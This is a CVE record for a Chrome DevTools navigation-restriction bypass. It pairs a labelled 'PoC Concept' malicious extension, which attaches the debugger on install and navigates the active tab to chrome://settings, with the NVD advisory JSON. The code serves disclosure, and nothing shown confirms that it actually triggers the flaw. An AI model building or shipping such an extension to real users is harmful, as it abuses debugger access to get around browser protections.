CVE-2026-7937

/* * PoC Concept: Malicious Chrome Extension * This extension demonstrates the bypass of navigation restrictions in DevTools. */ // manifest.json { "manifest_version": 3, "name": "DevTools Navigation Bypass", "version": "1.0", "permissions": ["debugger"], "background": { "service_worker": "background.js" } } // background.js chrome.runtime.onInstalled.addListener(() => { console.log("Malicious Extension Loaded"); // Function to exploit insufficient policy enforcement function exploitDevTools(tabId) { // Attach debugger to utilize DevTools protocol chrome.debugger.attach({tabId: tabId}, "1.3", () => { if (chrome.runtime.lastError) { console.error(chrome.runtime.lastError.message); return; } // Attempt to navigate to a restricted URL bypassing normal checks chrome.debugger.sendCommand({ tabId: tabId }, "Page.navigate", { url: "chrome://settings" // Example of restricted navigation }, (result) => { console.log("Navigation Result:", result); chrome.debugger.detach({tabId: tabId}); }); }); } // Wait for user to interact or trigger on specific event chrome.tabs.query({active: true, currentWindow: true}, (tabs) => { if (tabs[0]) { exploitDevTools(tabs[0].id); } }); });

{"cve": {"id": "CVE-2026-7937", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:42.027", "lastModified": "2026-05-06T23:34:15.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient policy enforcement in DevTools in Google Chrome prior to 148.0.7778.96 allowed an attacker who convinced a user to install a malicious extension to bypass navigation restrictions via a crafted Chrome Extension. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/491766258", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}